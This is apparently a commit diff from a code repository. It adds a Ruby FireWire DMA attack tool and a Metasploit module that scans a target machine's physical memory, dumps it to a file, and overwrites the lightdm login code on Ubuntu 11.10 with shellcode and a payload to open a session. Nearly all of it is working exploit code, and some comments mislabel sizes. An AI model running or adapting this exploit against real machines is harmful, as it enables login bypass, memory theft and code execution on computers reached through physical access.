+ settings.success = False
+ else
+ print '+ Signature found at 0x%x.' % addr
+ d.write(addr, patch)
+ if d.read(addr, sig.length) == patch
+ msg ='Write-back verified; patching successful.'
+ else
+ msg ='Write-back could not be verified; patching unsuccessful.'
+ #s._success = False
+ end
+ end
+ rescue IOError => e
+ success = false
+ puts '-', 'I/O Error, make sure FireWire interfaces are properly connected.'
+ puts e.message
+ end
+
+ if !success
+ fail('Failed to dump.')
+ end
+
+
+ if not settings.success
+ fail('Signature not found.')
+ end
+end
+
+def initialize_fw(d)
+ b = Bus.new
+ # Enable SBP-2 support to ensure we get DMA
+ b.enable_sbp2()
+
+ begin
+ for i in 3.downto(1)
+ puts "[+] Initializing bus and enabling SBP2, please wait %2d seconds or press Ctrl+C \r" % i;
+ STDOUT.flush
+ sleep(1)
+ end
+ rescue
+ puts 'Interrupted'
+ end
+
+ # Open the first device
+ d = b.devices
+
+ if (d.length > 0)
+ d = d[0]
+ d.open()
+ puts ''
+ else
+ raise 'nothing connected'
+ end
+
+ return d
+end
+
+def findsig(d, sig, off, memsize)
+ pagesize = 4096
+ # Skip the first 1 MiB of memory
+ one_mb = 3 * 1024 * 1024 * 1024
+
+ for addr in (one_mb + off..memsize).step(pagesize)
+ data = d.read(addr, sig.length)
+ # print "Data found %s at %d \r" % [data.unpack('C*').map{ |b| "%02X" % b }.join(), addr]
+ # TODO: Fix ugly compare, should be direct compare of bin data and sig
+ # puts "----"
+ # pp data
+ # pp sig
+ if (data == sig)
+ return addr
+ end
+ end
+
+
+# while addr < memsize:
+# # Prepare a batch of 128 requests
+# r = [(addr + ctx.PAGESIZE * i, len(sig)) for i in range(0, 128)]
+# for caddr, cand in d.readv(r):
+# if cand == sig:
+# print()
+# return caddr
+# mibaddr = math.floor((addr + one_mb) / (one_mb)) # Account for the first MiB
+# sys.stdout.write('[+] Searching for signature, {0:>4d} MiB so far.'.format(mibaddr))
+# if ctx.verbose:
+# sys.stdout.write('Addr: {1} Data read: 0x{0} \n'.format(hexlify(cand).decode(ctx.encoding), hex(caddr)))
+#
+# sys.stdout.write('\r')
+# sys.stdout.flush()
+#
+# # Append read data to buffer, and check if the all entries in the buffer
+# # is equal. If they are, we're likely not getting data
+# buf.appendleft(cand)
+# if all_equal(buf):
+# print()
+# cont = input('[-] Looks like we\'re not getting any data. We ' \
+# 'could be outside memory\n boundaries, or simply ' \
+# 'not have DMA. Try using -v/--verbose to debug.\n '\
+# 'Continue? [Y/n]: ')
+# if cont == 'n':
+# fail()
+# else: # Double the buffer
+# buf = collections.deque(buf.maxlen * 2 * [0], buf.maxlen * 2)
+#
+# addr += ctx.PAGESIZE * 128
+ print()
+ return
+end
+
+def loop_memory(d, memsize)
+ f = File.open('memdump','w')
+ # Skip the first 1 MiB of memory
+ startmem = 1 * 1024 * 1024
+ endmem = 4 * 1024 * 1024 * 1024
+
+ chunk = 1024
+
+ for addr in (startmem..endmem).step(chunk)
+ cdata = d.read(addr, chunk)
+ f.syswrite(cdata)
+
+ print " Data read: %s x %s \r" % [cdata.to_i(2).to_s(16), addr]
+ STDOUT.flush
+ end
+end
+
+def fail(msg)
+ puts "\n [!] Attack unsuccessful."
+ puts msg
+ exit
+end
+
+if __FILE__ == $0
+ run( ARGV )
+end
+
View
170 module/farm.rb
@@ -0,0 +1,170 @@
+##
+ #
+##
+
+require 'msf/core'
+require '/home/dma/.msf4/external/forensic1394/bus.rb'
+
+class Metasploit3 < Msf::Exploit::Local
+ # Rank = ExcellentRanking
+
+ def initialize(info = {})
+ super(update_info(info,
+ # TODO: fix before deployment
+ 'Name' => 'farm <= 11.10 Firewire DMA attack to overwrite lightdm code',
+ 'Description' => %q{
+ Firewire lightdm attack.
+ },
+ 'Author' => [ 'albert', 'rory' ],
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision: 0.11 $',
+ 'References' =>
+ [
+ ],
+ 'Privileged' => false,
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'Space' => 296,
+ 'Encoder' => 'generic/none'
+ },
+ 'Platform' => 'linux',
+ 'Arch' => ARCH_X86,
+ 'Targets' =>
+ [
+ [ 'Ubuntu 11.10', { 'Offset' => 0x540, 'Signature' => "\x74\x1e\x89\x5c\x24\x04\xc7\x04\x24\x70\x73\x05\x08\xe8\x3e\x53\xff\xff\x83\xc4\x24\x31\xc0\x5b\x5e", 'Space' => 75 } ],
+ # [ 'Ubuntu 11.10', { 'Offset' => 0x4f2, 'Signature' => "8B430C8B501C895424048B40", 'Space' => 75 } ],
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Long long ago',
+ ))
+ register_options(
+ [
+ ], self.class)
+
+ register_advanced_options(
+ [
+ ], self.class)
+ end
+
+ def exploit
+ forkpatch = "\x50\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x02\x58\xc3"
+ prologue= "\x90\x90\x89\x5c\x24\x04\xc7\x04\x24\x70\x73\x05\x08\xe8\x3e\x53\xff\xff\x83\xc4\x24\x31\xc0\x5b\x5e"
+ # sig = hex2bin(target['Signature'])
+ sig = target['Signature']
+ # nops = nop_generator.generate_sled(target['Space'] - payload.encoded.length)
+ patch = prologue + forkpatch + payload.encoded
+ off = target['Offset']
+
+ # Print phase, method and patch parameters
+ puts ' Using signature: %s' % bin2hex(sig)
+ puts ' Using patch: %s' % bin2hex(patch)
+ puts ' Using offset: %x' % off
+
+ # Initialize
+ b = Bus.new
+ d = initialize_fw(b, d)
+
+ # Find memory size
+ memsize = 4 * 1024 * 1024 * 1024
+
+ # Attack
+ puts 'Starting attack...'
+ begin
+ # Find
+ addr = findsig(d, sig, off, memsize)
+ if !addr
+ success = false
+ else
+ success = true
+ puts 'Signature found at 0x%x.' % addr
+ d.write(addr, patch)
+ if (d.read(addr, patch.length) == patch)
+ puts 'Patch confirmed'
+ end
+ end
+ rescue IOError => e
+ success = false
+ puts 'I/O Error, make sure FireWire interfaces are properly connected.'
+ puts e.message
+ end
+
+ if !success
+ fail('Signature not found.')
+ end
+
+ print_status "Starting the payload handler..."
+ while(true)
+ break if session_created?
+ select(nil,nil,nil,1)
+ end
+
+ b.delete
+ end
+
+ def check
+
+ end
+
+ def initialize_fw(b, d)
+ # Enable SBP-2 support to ensure we get DMA
+ b.enable_sbp2()
+
+ begin
+ for i in 3.downto(1)
+ puts "[+] Initializing bus and enabling SBP2, please wait %2d seconds or press Ctrl+C \r" % i;
+ STDOUT.flush
+ sleep(1)
+ end
+ rescue
+ puts 'Interrupted'
+ end
+
+ # Open the first device
+ d = b.devices
+
+ if (d.length > 0)
+ d = d[0]
+ d.open()
+ puts ''
+ else
+ raise 'nothing connected'
+ end
+
+ return d
+ end
+
+ def findsig(d, sig, off, memsize)
+ pagesize = 4096
+ # Skip the first 1 MiB of memory
+ one_mb = 3 * 1024 * 1024 * 1024
+
+ for addr in (one_mb + off..memsize).step(pagesize)
+ data = d.read(addr, sig.length)
+ # print "Data found %s at %d \r" % [data.unpack('C*').map{ |b| "%02X" % b }.join(), addr]
+ # TODO: Fix ugly compare, should be direct compare of bin data and sig
+ # puts "----"
+ # pp data
+ # pp sig
+ if (data == sig)
+ return addr
+ end
+ end
+ end
+ def fail(msg)
+ puts "\n [!] Attack unsuccessful."
+ puts msg
+ exit
+ end
+
+
+ def hex2bin(s)
+ raise "Not a valid hex string" unless(s =~ /^[\da-fA-F]+$/)
+ s = '0' + s if((s.length & 1) != 0)
+ return s.scan(/../).map{ |b| b.to_i(16) }.pack('C*')
+ end
+
+ def bin2hex(s)
+ return s.unpack('C*').map{ |b| "%02X" % b }.join('')
+ end
+end
View
BIN mofo-final.pdf
Binary file not shown.

0 comments on commit 979e965

Please sign in to comment.